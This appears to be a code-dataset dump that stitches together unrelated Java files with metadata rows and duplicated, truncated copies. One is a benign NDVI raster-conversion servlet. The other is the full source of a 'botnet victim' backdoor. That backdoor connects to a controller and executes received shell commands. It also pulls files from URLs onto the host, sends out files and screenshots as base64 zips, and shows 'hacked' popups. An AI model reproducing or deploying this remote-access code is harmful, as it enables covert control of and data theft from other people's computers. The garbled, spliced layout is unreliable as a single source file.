int rows = (int) Math.round(inputCoverage.getGridGeometry()
.getGridRange2D()
.getSize()
.getHeight());
int columns = (int) Math.round(inputCoverage.getGridGeometry()
.getGridRange2D()
.getSize()
.getWidth());
System.out.println(String.format("Rows = %d, columns = %d", rows, columns));
//
// Some fixed issues
//
int bands = 1;
int[] bandOffsets = { 0 };
//
// Create a new geotiff
//
// final File geotiff = new File("d:/temp/1202018-20180703-float.tif");
GridCoverageFactory factory = new GridCoverageFactory();
SampleModel sampleModel = new PixelInterleavedSampleModel(DataBuffer.TYPE_FLOAT,
columns,
rows,
bands,
columns * bands,
bandOffsets);
DataBuffer buffer = new java.awt.image.DataBufferFloat(columns * rows * bands);
ColorSpace colorSpace = ColorSpace.getInstance(ColorSpace.CS_GRAY);
ColorModel colorModel = new ComponentColorModel(colorSpace,
false,
false,
Transparency.TRANSLUCENT,
DataBuffer.TYPE_FLOAT);
WritableRaster raster = Raster.createWritableRaster(sampleModel, buffer, null);
BufferedImage bi = new BufferedImage(colorModel, raster, false, null);
ReferencedEnvelope envelope = new ReferencedEnvelope(inputCoverage.getGridGeometry().getEnvelope2D().getMinX(),
inputCoverage.getGridGeometry().getEnvelope2D().getMaxX(),
inputCoverage.getGridGeometry().getEnvelope2D().getMinY(),
inputCoverage.getGridGeometry().getEnvelope2D().getMaxY(),
sourceCRS);
// System.out.println(
// String.format("LL = (%f, %f), UR = (%f,%f)", inputCoverage.getGridGeometry().getEnvelope2D().getMinX(), inputCoverage.getGridGeometry().getEnvelope2D().getMinY(), inputCoverage.getGridGeometry().getEnvelope2D().getMaxX(), inputCoverage.getGridGeometry().getEnvelope2D().getMaxY()));
float[] newValues = new float[bands];
Raster inputRaster = inputCoverage.getRenderedImage().getData();
byte[] b = new byte[inputRaster.getNumDataElements()];
for (int columnNr = 0; columnNr < columns; columnNr++) {
for (int rowNr = 0; rowNr < rows; rowNr++) {
try {
inputRaster.getDataElements(columnNr, rowNr, b);
if (java.lang.Byte.toUnsignedInt(b[0]) > 250) {
newValues[0] = -9999.f;
} else {
newValues[0] = java.lang.Byte.toUnsignedInt(b[0]) / 250.f;
}
raster.setDataElements(columnNr, rowNr, newValues);
} catch (Exception e) {
throw new RuntimeException(
String.format("convertNDVIRaster: Rows = %d, Columns = %d, rowNr = %d, columnNr = %d",
rows,
columns,
rowNr,
columnNr));
}
}
}
GridCoverage2D newRaster = factory.create("newRaster", bi, envelope);
//
// Now see if we need to transform. Only if output_epsg != 28992
//
if (!"28992".equalsIgnoreCase(output_epsg)) {
final org.opengis.referencing.crs.CoordinateReferenceSystem targetCRS =
org.geotools.referencing.CRS.decode("EPSG:".concat(output_epsg),
true);
GridCoverage2D covtransformed = (GridCoverage2D) Operations.DEFAULT.resample(newRaster, targetCRS);
newRaster = covtransformed;
}
//
// write the new geotiff
//
// todo metadata add no data value etc.
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
GeoTiffWriter writer = new GeoTiffWriter(outputStream);
writer.write(newRaster, new GeneralParameterValue[0]);
return outputStream.toByteArray();
}
/**
* NDVI values from geodesk server are in bytes they must be converted to
* floating point.So read the returned image and convert from unsigned byte
* to floating point.
*
* @param props
* @param token
* @param remoteIp
* @return
*/
protected Response processRequest(Properties props, String token, String remoteIp) {
//
// Set remote ip. This is needed for logging and accounting. If this class is called as a servlet (uri) it will be filled using http request else caller must suppy this.
//
this.remoteIp = remoteIp;
//
// Create the normal response for images.
//
String output_epsg = props.getProperty("output_epsg"); // todo check if always converted to 28992 then no effect, perhaps use output_epsg.
if (output_epsg == null) {
output_epsg = "28992";
}
//
// Validate the geometry.
//
if (props.get("geometry") != null) {
String geom = (String) ((WorkerParameter) props.get("geometry")).getValue();
String epsg = "28992";
if (props.get("epsg") != null) {
epsg = (String) ((WorkerParameter) props.get("epsg")).getValue();
}
String isOk = GeometryProvider.validateGeometry(geom, epsg);
if (!"ok".equalsIgnoreCase(isOk)) {
AdapterResult result = new AdapterTableResult();
result.setStatus(isOk);
result.setHttpStatusCode(422);
try {
return Response.status(422)
.type(result.getMimeType())
.entity(AdapterFormatFactory.getDefaultFormatter(result).format(result))
.build();
} catch (Exception e) {
;
}
}
}
//
// First see if there is data for this date. Use only the year part. we can use the ndvi request for this and then filter unique dates.
//
try {
ArrayList<String> availability = NDVIAvailabilityChecker.checkAvalibility(props);
if (availability.size() < 1) { // No data on that date.
availability = NDVIAvailabilityChecker.getAvalibility(props);
String a = "[ ";
String komma = "";
for (String q : availability) {
a = a.concat(komma).concat(q);
komma = ", ";
}
a = a.concat(" ]");
JsonObject o = new JsonObject();
o.addProperty("status",
String.format(
"No NDVI data available for the request area on date %s (date format = yyyymmdd). Please select a date from %s",
((WorkerParameter) props.get("date")).getValue(),
a));
return Response.ok().status(200).entity(JSONizer.toJson(o)).build();
}
} catch (Exception e) {
JsonObject o = new JsonObject();
o.addProperty("status", e.getMessage());
if (e instanceof InvalidParameterException) {
return Response.ok().status(422).entity(JSONizer.toJson(o)).build();
} else {
return Response.ok().status(200).entity(JSONizer.toJson(o)).build();
}
}
//
// We hebben dus data in ADC maar dat garandeert niet dat er een beeld is. Soms 25m data en die zit niet in geoserver maar daar
// wordt wel perceels data van afgeldi
//
// TODO
// if (!checkGeoserverForData()) {
// JsonObject o = new JsonObject();
// o.addProperty("status",
// String.format(
// "No NDVI imagedata available for the request area on date %s (date format = yyyymmdd). ",((WorkerParameter) props.get("date")).getValue()));
// return Response.ok().status(200).entity(JSONizer.toJson(o)).build();
// }
Response response = getResponse(props, token);
// TODO: Kan dus fout zijn bv bij point. Dus http status wijzigen
//
// if the status is ok then response.getentity is a byte[] array that we need to convert.
//
if (response.getStatus() == Response.Status.OK.getStatusCode()) {
try {
byte[] resultByteRaster = (byte[]) response.getEntity();
// byte[] floatRaster = convertNDVIRaster(resultByteRaster, output_epsg);
ReProjector r = new ReProjector(new NDVIRecalculator());
byte[] floatRaster = r.convertRasterToFloatAndReproject(resultByteRaster, output_epsg, 250);
response = Response.status(200).type(Mimetypes.MIME_TYPE_GEOTIFF).entity(floatRaster).build();
// response = Response.status(200).type(Mimetypes.MIME_TYPE_GEOTIFF).entity(resultByteRaster).build();
} catch (Exception e) {
if (e instanceof InvalidParameterException) {
response = Response.status(422).type(MediaType.APPLICATION_JSON).entity("{ \"status\" : " + JSONizer.toJson(e.getLocalizedMessage()) + " }").build();
} else {
response = Response.status(500).type(MediaType.APPLICATION_JSON).entity("{ \"status\" : " + JSONizer.toJson(e.getLocalizedMessage()) + " }").build();
}
}
}
return response;
}
/**
* Retrieve the zonal statistics for the given geometry.
*
* @param uriInfo
* @return
*/
@GET
@Path("")
public Response getNDVIForGeometry(@Context UriInfo uriInfo, @HeaderParam("token") String token) {
Properties props = parametersToProperties(uriInfo);
return processRequest(props, token, null); // getRemoteIP());
}
/**
* Retrieve the zonal statistics for the given geometry.
*
* @param uriInfo
* @return
*/
@POST
@Path("")
public Response getNDVIForGeometrypPost(@Context UriInfo uriInfo, @HeaderParam("token") String token) {
Properties props = bodyParamsToProperties();
// if (props.isEmpty())
props.putAll(parametersToProperties(uriInfo));
return processRequest(props, token, null);//getRemoteIP());
}
}
//~ Formatted by Jindent --- http://www.jindent.com
| AgroDataCube/api-v2 | src/main/java/nl/wur/agrodatacube/servlet/NDVIImageServlet.java | 4,358 | // wordt wel perceels data van afgeldi | line_comment | nl | /*
* Copyright 2018 Wageningen Environmental Research
*
* For licensing information read the included LICENSE.txt file.
*
* Unless required by applicable law or agreed to in writing, this software
* is distributed on an "AS IS" basis, WITHOUT WARRANTIES OR CONDITIONS OF
* ANY KIND, either express or implied.
*/
package nl.wur.agrodatacube.servlet;
//import io.swagger.annotations.Api;
import java.awt.Transparency;
import java.awt.color.ColorSpace;
import java.awt.image.BufferedImage;
import java.awt.image.ColorModel;
import java.awt.image.ComponentColorModel;
import java.awt.image.DataBuffer;
import java.awt.image.PixelInterleavedSampleModel;
import java.awt.image.Raster;
import java.awt.image.SampleModel;
import java.awt.image.WritableRaster;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.ArrayList;
import java.util.Properties;
import javax.ws.rs.GET;
import javax.ws.rs.HeaderParam;
import javax.ws.rs.POST;
import javax.ws.rs.Path;
import javax.ws.rs.Produces;
import javax.ws.rs.core.Context;
import javax.ws.rs.core.MediaType;
import javax.ws.rs.core.Response;
import javax.ws.rs.core.UriInfo;
import org.geotools.coverage.grid.GridCoverage2D;
import org.geotools.coverage.grid.GridCoverageFactory;
import org.geotools.coverage.processing.Operations;
import org.geotools.factory.Hints;
import org.geotools.gce.geotiff.GeoTiffReader;
import org.geotools.gce.geotiff.GeoTiffWriter;
import org.geotools.geometry.jts.ReferencedEnvelope;
import org.opengis.parameter.GeneralParameterValue;
import com.google.gson.JsonObject;
import nl.wur.agrodatacube.datasource.GeometryProvider;
import nl.wur.agrodatacube.datasource.NDVIAvailabilityChecker;
import nl.wur.agrodatacube.exception.InvalidParameterException;
import nl.wur.agrodatacube.formatter.AdapterFormatFactory;
import nl.wur.agrodatacube.formatter.JSONizer;
import nl.wur.agrodatacube.mimetypes.Mimetypes;
import nl.wur.agrodatacube.raster.NDVIRecalculator;
import nl.wur.agrodatacube.raster.ReProjector;
import nl.wur.agrodatacube.result.AdapterResult;
import nl.wur.agrodatacube.result.AdapterTableResult;
/**
*
* @author rande001
*/
/**
* Retrieve data from the AHN (Dutch Raster Height Map). sources (PDOK) AHN1
* WCS:
* https://geodata.nationaalgeoregister.nl/ahn1/wcs?request=GetCapabilities&service=wcs
* AHN2 WCS:
* https://geodata.nationaalgeoregister.nl/ahn2/wcs?request=GetCapabilities&service=wcs
* AHN3 WCS:
* https://geodata.nationaalgeoregister.nl/ahn3/wcs?request=GetCapabilities&service=wcs
*
* @author Rande001
*/
@Path("/ndvi_image")
//@Api(value = "Provide information about height for the fields. Height is from the AHN 25m rasterdataset containg average height in a gridcell in cm compared to NAP")
@Produces({ "application/json" })
public class NDVIImageServlet extends Worker {
public NDVIImageServlet() {
super();
setResource("ndvi_image");
}
/**
* @param inputData the raster as it is received from the WCS. That means
* byte values (0..250) these need to be converted to floating poitn values
* between 0 and 1.
*
* @throws Exception
*/
@Deprecated
private byte[] convertNDVIRaster(byte[] inputData, String output_epsg) throws Exception {
final org.opengis.referencing.crs.CoordinateReferenceSystem sourceCRS =
org.geotools.referencing.CRS.decode("EPSG:28992",
true);
final Hints hint = new Hints();
hint.put(Hints.DEFAULT_COORDINATE_REFERENCE_SYSTEM, sourceCRS);
GeoTiffReader reader = new GeoTiffReader(new ByteArrayInputStream(inputData), hint);
GridCoverage2D inputCoverage = reader.read(null);
int rows = (int) Math.round(inputCoverage.getGridGeometry()
.getGridRange2D()
.getSize()
.getHeight());
int columns = (int) Math.round(inputCoverage.getGridGeometry()
.getGridRange2D()
.getSize()
.getWidth());
System.out.println(String.format("Rows = %d, columns = %d", rows, columns));
//
// Some fixed issues
//
int bands = 1;
int[] bandOffsets = { 0 };
//
// Create a new geotiff
//
// final File geotiff = new File("d:/temp/1202018-20180703-float.tif");
GridCoverageFactory factory = new GridCoverageFactory();
SampleModel sampleModel = new PixelInterleavedSampleModel(DataBuffer.TYPE_FLOAT,
columns,
rows,
bands,
columns * bands,
bandOffsets);
DataBuffer buffer = new java.awt.image.DataBufferFloat(columns * rows * bands);
ColorSpace colorSpace = ColorSpace.getInstance(ColorSpace.CS_GRAY);
ColorModel colorModel = new ComponentColorModel(colorSpace,
false,
false,
Transparency.TRANSLUCENT,
DataBuffer.TYPE_FLOAT);
WritableRaster raster = Raster.createWritableRaster(sampleModel, buffer, null);
BufferedImage bi = new BufferedImage(colorModel, raster, false, null);
ReferencedEnvelope envelope = new ReferencedEnvelope(inputCoverage.getGridGeometry().getEnvelope2D().getMinX(),
inputCoverage.getGridGeometry().getEnvelope2D().getMaxX(),
inputCoverage.getGridGeometry().getEnvelope2D().getMinY(),
inputCoverage.getGridGeometry().getEnvelope2D().getMaxY(),
sourceCRS);
// System.out.println(
// String.format("LL = (%f, %f), UR = (%f,%f)", inputCoverage.getGridGeometry().getEnvelope2D().getMinX(), inputCoverage.getGridGeometry().getEnvelope2D().getMinY(), inputCoverage.getGridGeometry().getEnvelope2D().getMaxX(), inputCoverage.getGridGeometry().getEnvelope2D().getMaxY()));
float[] newValues = new float[bands];
Raster inputRaster = inputCoverage.getRenderedImage().getData();
byte[] b = new byte[inputRaster.getNumDataElements()];
for (int columnNr = 0; columnNr < columns; columnNr++) {
for (int rowNr = 0; rowNr < rows; rowNr++) {
try {
inputRaster.getDataElements(columnNr, rowNr, b);
if (java.lang.Byte.toUnsignedInt(b[0]) > 250) {
newValues[0] = -9999.f;
} else {
newValues[0] = java.lang.Byte.toUnsignedInt(b[0]) / 250.f;
}
raster.setDataElements(columnNr, rowNr, newValues);
} catch (Exception e) {
throw new RuntimeException(
String.format("convertNDVIRaster: Rows = %d, Columns = %d, rowNr = %d, columnNr = %d",
rows,
columns,
rowNr,
columnNr));
}
}
}
GridCoverage2D newRaster = factory.create("newRaster", bi, envelope);
//
// Now see if we need to transform. Only if output_epsg != 28992
//
if (!"28992".equalsIgnoreCase(output_epsg)) {
final org.opengis.referencing.crs.CoordinateReferenceSystem targetCRS =
org.geotools.referencing.CRS.decode("EPSG:".concat(output_epsg),
true);
GridCoverage2D covtransformed = (GridCoverage2D) Operations.DEFAULT.resample(newRaster, targetCRS);
newRaster = covtransformed;
}
//
// write the new geotiff
//
// todo metadata add no data value etc.
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
GeoTiffWriter writer = new GeoTiffWriter(outputStream);
writer.write(newRaster, new GeneralParameterValue[0]);
return outputStream.toByteArray();
}
/**
* NDVI values from geodesk server are in bytes they must be converted to
* floating point.So read the returned image and convert from unsigned byte
* to floating point.
*
* @param props
* @param token
* @param remoteIp
* @return
*/
protected Response processRequest(Properties props, String token, String remoteIp) {
//
// Set remote ip. This is needed for logging and accounting. If this class is called as a servlet (uri) it will be filled using http request else caller must suppy this.
//
this.remoteIp = remoteIp;
//
// Create the normal response for images.
//
String output_epsg = props.getProperty("output_epsg"); // todo check if always converted to 28992 then no effect, perhaps use output_epsg.
if (output_epsg == null) {
output_epsg = "28992";
}
//
// Validate the geometry.
//
if (props.get("geometry") != null) {
String geom = (String) ((WorkerParameter) props.get("geometry")).getValue();
String epsg = "28992";
if (props.get("epsg") != null) {
epsg = (String) ((WorkerParameter) props.get("epsg")).getValue();
}
String isOk = GeometryProvider.validateGeometry(geom, epsg);
if (!"ok".equalsIgnoreCase(isOk)) {
AdapterResult result = new AdapterTableResult();
result.setStatus(isOk);
result.setHttpStatusCode(422);
try {
return Response.status(422)
.type(result.getMimeType())
.entity(AdapterFormatFactory.getDefaultFormatter(result).format(result))
.build();
} catch (Exception e) {
;
}
}
}
//
// First see if there is data for this date. Use only the year part. we can use the ndvi request for this and then filter unique dates.
//
try {
ArrayList<String> availability = NDVIAvailabilityChecker.checkAvalibility(props);
if (availability.size() < 1) { // No data on that date.
availability = NDVIAvailabilityChecker.getAvalibility(props);
String a = "[ ";
String komma = "";
for (String q : availability) {
a = a.concat(komma).concat(q);
komma = ", ";
}
a = a.concat(" ]");
JsonObject o = new JsonObject();
o.addProperty("status",
String.format(
"No NDVI data available for the request area on date %s (date format = yyyymmdd). Please select a date from %s",
((WorkerParameter) props.get("date")).getValue(),
a));
return Response.ok().status(200).entity(JSONizer.toJson(o)).build();
}
} catch (Exception e) {
JsonObject o = new JsonObject();
o.addProperty("status", e.getMessage());
if (e instanceof InvalidParameterException) {
return Response.ok().status(422).entity(JSONizer.toJson(o)).build();
} else {
return Response.ok().status(200).entity(JSONizer.toJson(o)).build();
}
}
//
// We hebben dus data in ADC maar dat garandeert niet dat er een beeld is. Soms 25m data en die zit niet in geoserver maar daar
// wordt wel<SUF>
//
// TODO
// if (!checkGeoserverForData()) {
// JsonObject o = new JsonObject();
// o.addProperty("status",
// String.format(
// "No NDVI imagedata available for the request area on date %s (date format = yyyymmdd). ",((WorkerParameter) props.get("date")).getValue()));
// return Response.ok().status(200).entity(JSONizer.toJson(o)).build();
// }
Response response = getResponse(props, token);
// TODO: Kan dus fout zijn bv bij point. Dus http status wijzigen
//
// if the status is ok then response.getentity is a byte[] array that we need to convert.
//
if (response.getStatus() == Response.Status.OK.getStatusCode()) {
try {
byte[] resultByteRaster = (byte[]) response.getEntity();
// byte[] floatRaster = convertNDVIRaster(resultByteRaster, output_epsg);
ReProjector r = new ReProjector(new NDVIRecalculator());
byte[] floatRaster = r.convertRasterToFloatAndReproject(resultByteRaster, output_epsg, 250);
response = Response.status(200).type(Mimetypes.MIME_TYPE_GEOTIFF).entity(floatRaster).build();
// response = Response.status(200).type(Mimetypes.MIME_TYPE_GEOTIFF).entity(resultByteRaster).build();
} catch (Exception e) {
if (e instanceof InvalidParameterException) {
response = Response.status(422).type(MediaType.APPLICATION_JSON).entity("{ \"status\" : " + JSONizer.toJson(e.getLocalizedMessage()) + " }").build();
} else {
response = Response.status(500).type(MediaType.APPLICATION_JSON).entity("{ \"status\" : " + JSONizer.toJson(e.getLocalizedMessage()) + " }").build();
}
}
}
return response;
}
/**
* Retrieve the zonal statistics for the given geometry.
*
* @param uriInfo
* @return
*/
@GET
@Path("")
public Response getNDVIForGeometry(@Context UriInfo uriInfo, @HeaderParam("token") String token) {
Properties props = parametersToProperties(uriInfo);
return processRequest(props, token, null); // getRemoteIP());
}
/**
* Retrieve the zonal statistics for the given geometry.
*
* @param uriInfo
* @return
*/
@POST
@Path("")
public Response getNDVIForGeometrypPost(@Context UriInfo uriInfo, @HeaderParam("token") String token) {
Properties props = bodyParamsToProperties();
// if (props.isEmpty())
props.putAll(parametersToProperties(uriInfo));
return processRequest(props, token, null);//getRemoteIP());
}
}
//~ Formatted by Jindent --- http://www.jindent.com
|
162001_11 | package backdoorvictim;
import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.*;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.util.ArrayList;
import java.util.Base64;
import java.util.logging.Level;
import java.util.logging.Logger;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import javax.imageio.ImageIO;
public class Victim implements Runnable {
// Declaration section
// clientClient: the client socket
// os: the output stream
// is: the input stream
static Socket clientSocket = null;
static PrintStream os = null;
static DataInputStream is = null;
static BufferedReader inputLine = null;
static boolean closed = false;
private static String ip = "";
private static String whoami = "";
private static String OS = System.getProperty("os.name").toLowerCase();
private static ArrayList users = new ArrayList();
private static File temp;
//private static final double version = 0.2;
public static void main(String[] args) throws UnknownHostException, InterruptedException {
// The default port
int port_number = 4600;
String host = "localhost";
String hostname = InetAddress.getLocalHost().getHostName(); // find the hostname from computer
try {
URL whatismyip = new URL("http://checkip.amazonaws.com"); // checkt the external ip from the computer.
BufferedReader in = new BufferedReader(new InputStreamReader(
whatismyip.openStream()));
ip = in.readLine();
} catch (Exception e) {
ip = "noip";
}
whoami = hostname + "@" + ip + " ";
System.out.println("Connecting to " + host + " on port " + port_number + "...");
try {
clientSocket = new Socket(host, port_number);
inputLine = new BufferedReader(new InputStreamReader(System.in));
os = new PrintStream(clientSocket.getOutputStream());
is = new DataInputStream(clientSocket.getInputStream());
} catch (UnknownHostException e) {
System.err.println("Don't know about host " + host);
} catch (IOException e) {
System.err.println("Couldn't get I/O for the connection to the host " + host);
}
if (clientSocket != null && os != null && is != null) {
try {
new Thread(new Victim()).start();
while (!closed) {
// lees een regel text.
int a = 'a';
String s = "";
long begin = System.currentTimeMillis();
do {
if (System.currentTimeMillis() - begin > 10000) {
begin = System.currentTimeMillis();
os.println("ping");
}
if (inputLine.ready()) {
a = inputLine.read();
if (a != 10) {
s = s + (char) a;
}
}
} while (a != 10);
os.println(s);
}
os.close();
is.close();
clientSocket.close();
} catch (IOException e) {
System.err.println("IOException: " + e);
}
}
}
public void run() {
String responseLine;
try {
while ((responseLine = is.readLine()) != null) {
System.out.println(responseLine);
if (responseLine.contains(whoami + "shell ")) {
//int i = whoami.length() * 2 + 8;
int i = whoami.length() + 15;
String s = responseLine.substring(i);
os.println(ExecuteMyCommand(responseLine.substring(i)));
}
if (responseLine.contains(whoami + "upload ")) {
//int i = whoami.length() * 2 + 8;
int i = whoami.length() + 16;
String s = responseLine.substring(i);
os.println("location of file is: " + upload(s));
}
if (responseLine.contains(whoami + "javaversion")) {
os.println("java version from " + whoami + " is: " + System.getProperty("java.version"));
}
if (responseLine.contains(whoami + "download ")) {
//int i = whoami.length() * 2 + 8;
int i = whoami.length() + 18;
String s = responseLine.substring(i);
os.println("downloadeble file = " + download(s));
}
if (responseLine.contains(whoami + "screenshot")) {
os.println("screenshot: " + screenshot());
}
if (responseLine.contains(whoami + "msgbox")) {
try {
int i = whoami.length() + 16;
String s = responseLine.substring(i);
if (OS.contains("linux")) {
os.println("sending msgbox");
ExecuteMyCommand("zenity --error --text=\"" + s + "\\!\" --title=\"Warning\\!\"");
os.println("answer msgbox succes");
} else if (OS.contains("windows")) {
os.println("sending msgbox");
ExecuteMyCommand("mshta \"javascript:var sh=new ActiveXObject( 'WScript.Shell' ); sh.Popup( '" + s + "', 10, 'hacked', 64 );close()\"");
os.println("answer msgbox succes");
} else {
os.println("sending msgbox possibly faild");
}
} catch (Exception e) {
os.println("sending msgbox faild");
}
}
if (responseLine.contains("list info")) {
if (OS.contains("windows")) {
if (isAdmin() == true) {
os.println("online " + whoami + " = " + OS + " admin?= administrator");
} else {
os.println("online " + whoami + " = " + OS + " = admin?= not administrator");
}
}else{
os.println("online " + whoami + " = " + OS + " = admin?= ???");
}
}
if (responseLine.contains(whoami + "exit")) {
System.exit(0);
}
}
} catch (IOException e) {
System.err.println("IOException: " + e);
} catch (AWTException ex) {
Logger.getLogger(Victim.class.getName()).log(Level.SEVERE, null, ex);
}
System.err.println("Connection lost from " + whoami);
closed = true;
}
public static String ExecuteMyCommand(String commando) { // hier sturen we ons command ( voorbeeld "dir" als commando)
try {
if (commando.length() < 1) {
return "Geen commndo probeer opnieuw.";
}
String outputlines = "";
if (OS.contains("windows")) {
Process p = Runtime.getRuntime().exec("cmd /c " + commando);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String regel = "";
while ((regel = br.readLine()) != null) {
outputlines += regel + "\n"; // System.err.println(regel);
}
return outputlines;
}
Process p = Runtime.getRuntime().exec(commando);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String regel = "";
while ((regel = br.readLine()) != null) {
outputlines += regel + "\n"; // System.err.println(regel);
}
return outputlines;
} catch (IOException ex) {
return ex.getMessage();
}
}
public static boolean isAdmin() { // checken of de user een administrator is. werkt alleen met windows
String groups[] = (new com.sun.security.auth.module.NTSystem()).getGroupIDs();
for (String group : groups) {
if (group.equals("S-1-5-32-544")) {
return true;
}
}
return false;
}
public static String upload(String file) throws IOException { // uploaden naar victim via url
temp = File.createTempFile("temp", Long.toString(System.nanoTime()));
URL url = new URL(file);
InputStream in = url.openStream();
Files.copy(in, Paths.get(temp.getAbsolutePath()), StandardCopyOption.REPLACE_EXISTING);
in.close();
return temp.getAbsolutePath();
}
public static String download(String file) throws IOException { // downloaden van victim naar server
try {
File ziptemp = File.createTempFile("temp", Long.toString(System.nanoTime()));
Path fileLocationzip = Paths.get(ziptemp.toString());
// input file
FileInputStream in = new FileInputStream(file);
// out put file
ZipOutputStream out = new ZipOutputStream(new FileOutputStream(ziptemp));
// name the file inside the zip file
out.putNextEntry(new ZipEntry("file"));
// buffer size
byte[] b = new byte[1024];
int count;
while ((count = in.read(b)) > 0) {
out.write(b, 0, count);
}
out.close();
in.close();
byte[] zipdata = Files.readAllBytes(fileLocationzip);
String base64encoded = Base64.getEncoder().encodeToString(zipdata);
return base64encoded;
} catch (IOException e) {
System.err.println("file doesnt exist");
}
return "";
}
public static String screenshot() throws IOException, AWTException { // een screenshot nemen van het standart scherm en sturen naar server.
temp = File.createTempFile("temp", Long.toString(System.nanoTime()));
File ziptemp = File.createTempFile("temp", Long.toString(System.nanoTime()));
Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
BufferedImage capture = new Robot().createScreenCapture(screenRect);
ImageIO.write(capture, "bmp", new File(temp.toString()));
Path fileLocationzip = Paths.get(ziptemp.toString());
// input file
FileInputStream in = new FileInputStream(temp);
// out put file
ZipOutputStream out = new ZipOutputStream(new FileOutputStream(ziptemp));
// name the file inside the zip file
out.putNextEntry(new ZipEntry("screenshot.bmp"));
// buffer size
byte[] b = new byte[1024];
int count;
while ((count = in.read(b)) > 0) {
out.write(b, 0, count);
}
out.close();
in.close();
byte[] data = Files.readAllBytes(fileLocationzip);
String base64encoded = Base64.getEncoder().encodeToString(data);
return base64encoded;
//
//
//
}
// public static String webcamshot() throws IOException, AWTException {
// temp = File.createTempFile("temp", Long.toString(System.nanoTime()));
//
// // not compleet here the picture placing!
// File ziptemp = File.createTempFile("temp", Long.toString(System.nanoTime()));
// Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
// BufferedImage capture = new Robot().createScreenCapture(screenRect);
// ImageIO.write(capture, "bmp", new File(temp.toString()));
// Path fileLocationzip = Paths.get(ziptemp.toString());
// // input file
// FileInputStream in = new FileInputStream(temp);
//
// // out put file
// ZipOutputStream out = new ZipOutputStream(new FileOutputStream(ziptemp));
//
// // name the file inside the zip file
// out.putNextEntry(new ZipEntry("webcamshot.png"));
//
// // buffer size
// byte[] b = new byte[1024];
// int count;
//
// while ((count = in.read(b)) > 0) {
// out.write(b, 0, count);
// }
// out.close();
// in.close();
//
// byte[] data = Files.readAllBytes(fileLocationzip);
// String base64encoded = Base64.getEncoder().encodeToString(data);
// return base64encoded;
//
//
//
// public static void Base64DecodeAndExtractZip(String a) throws IOException {
// temp = File.createTempFile("temp", Long.toString(System.nanoTime()));
// byte[] Decoded = Base64.getDecoder().decode(a);
// FileOutputStream fos = new FileOutputStream(temp);
// fos.write(Decoded);
// fos.close();
// System.out.println("location of file or picture: " + zipextract(temp.toString()));
// }
//
// public static String zipextract(String z) {
// File dir = new File(temp + "folder");
// try {
// ZipFile zipFile = new ZipFile(temp.getAbsolutePath());
// zipFile.extractAll(temp.getAbsolutePath() + "folder");
// } catch (ZipException e) {
// e.printStackTrace();
// }
// return temp + "folder";
// }
}
| AhmedSakrr/botnet-server-and-victim | botnet-victim/src/backdoorvictim/Victim.java | 3,722 | // hier sturen we ons command ( voorbeeld "dir" als commando) | line_comment | nl | package backdoorvictim;
import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.*;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.util.ArrayList;
import java.util.Base64;
import java.util.logging.Level;
import java.util.logging.Logger;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import javax.imageio.ImageIO;
public class Victim implements Runnable {
// Declaration section
// clientClient: the client socket
// os: the output stream
// is: the input stream
static Socket clientSocket = null;
static PrintStream os = null;
static DataInputStream is = null;
static BufferedReader inputLine = null;
static boolean closed = false;
private static String ip = "";
private static String whoami = "";
private static String OS = System.getProperty("os.name").toLowerCase();
private static ArrayList users = new ArrayList();
private static File temp;
//private static final double version = 0.2;
public static void main(String[] args) throws UnknownHostException, InterruptedException {
// The default port
int port_number = 4600;
String host = "localhost";
String hostname = InetAddress.getLocalHost().getHostName(); // find the hostname from computer
try {
URL whatismyip = new URL("http://checkip.amazonaws.com"); // checkt the external ip from the computer.
BufferedReader in = new BufferedReader(new InputStreamReader(
whatismyip.openStream()));
ip = in.readLine();
} catch (Exception e) {
ip = "noip";
}
whoami = hostname + "@" + ip + " ";
System.out.println("Connecting to " + host + " on port " + port_number + "...");
try {
clientSocket = new Socket(host, port_number);
inputLine = new BufferedReader(new InputStreamReader(System.in));
os = new PrintStream(clientSocket.getOutputStream());
is = new DataInputStream(clientSocket.getInputStream());
} catch (UnknownHostException e) {
System.err.println("Don't know about host " + host);
} catch (IOException e) {
System.err.println("Couldn't get I/O for the connection to the host " + host);
}
if (clientSocket != null && os != null && is != null) {
try {
new Thread(new Victim()).start();
while (!closed) {
// lees een regel text.
int a = 'a';
String s = "";
long begin = System.currentTimeMillis();
do {
if (System.currentTimeMillis() - begin > 10000) {
begin = System.currentTimeMillis();
os.println("ping");
}
if (inputLine.ready()) {
a = inputLine.read();
if (a != 10) {
s = s + (char) a;
}
}
} while (a != 10);
os.println(s);
}
os.close();
is.close();
clientSocket.close();
} catch (IOException e) {
System.err.println("IOException: " + e);
}
}
}
public void run() {
String responseLine;
try {
while ((responseLine = is.readLine()) != null) {
System.out.println(responseLine);
if (responseLine.contains(whoami + "shell ")) {
//int i = whoami.length() * 2 + 8;
int i = whoami.length() + 15;
String s = responseLine.substring(i);
os.println(ExecuteMyCommand(responseLine.substring(i)));
}
if (responseLine.contains(whoami + "upload ")) {
//int i = whoami.length() * 2 + 8;
int i = whoami.length() + 16;
String s = responseLine.substring(i);
os.println("location of file is: " + upload(s));
}
if (responseLine.contains(whoami + "javaversion")) {
os.println("java version from " + whoami + " is: " + System.getProperty("java.version"));
}
if (responseLine.contains(whoami + "download ")) {
//int i = whoami.length() * 2 + 8;
int i = whoami.length() + 18;
String s = responseLine.substring(i);
os.println("downloadeble file = " + download(s));
}
if (responseLine.contains(whoami + "screenshot")) {
os.println("screenshot: " + screenshot());
}
if (responseLine.contains(whoami + "msgbox")) {
try {
int i = whoami.length() + 16;
